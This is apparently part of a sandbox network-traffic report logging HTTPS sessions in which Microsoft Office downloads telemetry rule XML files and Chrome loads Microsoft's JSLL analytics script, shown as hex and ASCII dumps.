3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.10	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:23 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:24 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 3272c5ec-601e-003d-7d76-3b6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074424Z-174c587ffdftv9hphC1TEBm29w00000003z000000000hfzp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:24 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.10	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:23 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:24 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 110996dd-801e-0048-7360-3bf3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074424Z-178bfbc474bxkclvhC1NYC69g400000005ng000000003wzv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:24 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.10	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:23 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:24 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: b43d4aba-301e-0020-1845-3c6299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074424Z-174c587ffdftv9hphC1TEBm29w000000040g00000000cx54 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:24 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.10	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:23 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:24 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:24 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c76163b7-601e-0070-0647-3ca0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074424Z-178bfbc474bvjk8shC1NYC83ns00000005e000000000bntp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:24 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.10	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:25 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:25 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: dcdca57e-b01e-003e-0dcb-3b8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074425Z-15b8b599d88vp97chC1TEB5pzw000000044g0000000064tm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:25 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.10	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:26 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:26 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:26 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 9aa8fa60-a01e-001e-5131-3c49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074426Z-178bfbc474btvfdfhC1NYCa2en00000005r0000000007czy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:26 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.10	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:26 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:26 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:26 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 90f21b32-801e-0047-4c0f-3e7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074426Z-178bfbc474bv587zhC1NYCny5w00000005h0000000006wqb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:26 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.10	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:26 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:26 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:26 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 8f21b959-301e-0096-6e6c-3de71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074426Z-15b8b599d889fz52hC1TEB59as000000046g000000001ywv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:26 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.10	49836	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:26 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:26 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:26 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 335cca48-001e-0079-7644-3d12e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074426Z-174c587ffdf8fcgwhC1TEBnn70000000046g00000000k34u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:26 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.10	49841	13.107.246.63	443	7560	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:26 UTC	549	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-24 07:44:27 UTC	889	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:26 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 207935 Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 24663fe8-301e-00d3-0bb2-2cfca8000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241124T074426Z-15b8b599d88f9wfchC1TEBm2kc000000049g000000006q2g x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:27 UTC	15495	IN	Data Raw: 2f 2a 21 0a 20 2a 20 31 44 53 20 4a 53 4c 4c 20 53 4b 55 2c 20 34 2e 33 2e 33 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 4d 69 63 72 6f 73 6f 66 74 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 2a 20 28 4d 69 63 72 6f 73 6f 66 74 20 49 6e 74 65 72 6e 61 6c 20 4f 6e 6c 79 29 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 75 6e 64 65 66 69 6e 65 64 22 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 21 3d 6e 29 74 28 65 78 70 6f 72 74 73 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 Data Ascii: /! 1DS JSLL SKU, 4.3.3 * Copyright (c) Microsoft and contributors. All rights reserved. * (Microsoft Internal Only) */!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&defi
2024-11-24 07:44:27 UTC	16384	IN	Data Raw: 28 69 29 3a 28 72 3d 66 65 28 22 63 6f 6e 73 6f 6c 65 22 29 29 26 26 28 72 2e 65 72 72 6f 72 7c 7c 72 2e 6c 6f 67 29 28 74 2c 63 65 28 69 29 29 29 29 7d 53 65 28 61 3d 7b 74 68 65 6e 3a 6f 2c 22 63 61 74 63 68 22 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6f 28 75 6e 64 65 66 69 6e 65 64 2c 65 29 7d 2c 22 66 69 6e 61 6c 6c 79 22 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2c 6e 3d 74 3b 72 65 74 75 72 6e 20 51 28 74 29 26 26 28 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 26 26 74 28 29 2c 65 7d 2c 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 72 6f 77 20 74 26 26 74 28 29 2c 65 7d 29 2c 6f 28 65 2c 6e 29 7d 7d 2c 22 73 74 61 74 65 22 2c 7b 67 65 74 3a 64 7d 29 2c 68 74 28 29 26 26 28 61 5b 6d 74 28 Data Ascii: (i):(r=fe("console"))&&(r.error\|\|r.log)(t,ce(i))))}Se(a={then:o,"catch":function(e){return o(undefined,e)},"finally":function(t){var e=t,n=t;return Q(t)&&(e=function(e){return t&&t(),e},n=function(e){throw t&&t(),e}),o(e,n)}},"state",{get:d}),ht()&&(a[mt(
2024-11-24 07:44:27 UTC	16384	IN	Data Raw: 28 65 2c 74 2c 6e 2c 72 29 7b 67 65 28 65 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 26 26 65 5b 74 5d 26 26 28 6e 3f 28 6e 2e 63 62 5b 74 65 5d 28 7b 66 6e 3a 72 2c 61 72 67 3a 65 7d 29 2c 6e 2e 68 3d 6e 2e 68 7c 7c 6e 6e 28 70 63 2c 30 2c 6e 29 29 3a 4d 28 72 2c 5b 65 5d 29 29 7d 29 7d 68 63 2e 5f 5f 69 65 44 79 6e 3d 31 3b 76 61 72 20 76 63 3d 68 63 3b 66 75 6e 63 74 69 6f 6e 20 68 63 28 65 29 7b 74 68 69 73 2e 6c 69 73 74 65 6e 65 72 73 3d 5b 5d 3b 76 61 72 20 6e 2c 69 3d 5b 5d 2c 61 3d 7b 68 3a 6e 75 6c 6c 2c 63 62 3a 5b 5d 7d 2c 6f 3d 76 6f 28 65 2c 64 63 29 5b 4b 6e 5d 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6e 3d 21 21 65 2e 63 66 67 2e 70 65 72 66 45 76 74 73 53 65 6e 64 41 6c 6c 7d 29 3b 76 65 28 68 63 2c 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 Data Ascii: (e,t,n,r){ge(e,function(e){e&&e[t]&&(n?(n.cb[te]({fn:r,arg:e}),n.h=n.h\|\|nn(pc,0,n)):M(r,[e]))})}hc.__ieDyn=1;var vc=hc;function hc(e){this.listeners=[];var n,i=[],a={h:null,cb:[]},o=vo(e,dc)[Kn](function(e){n=!!e.cfg.perfEvtsSendAll});ve(hc,this,function(
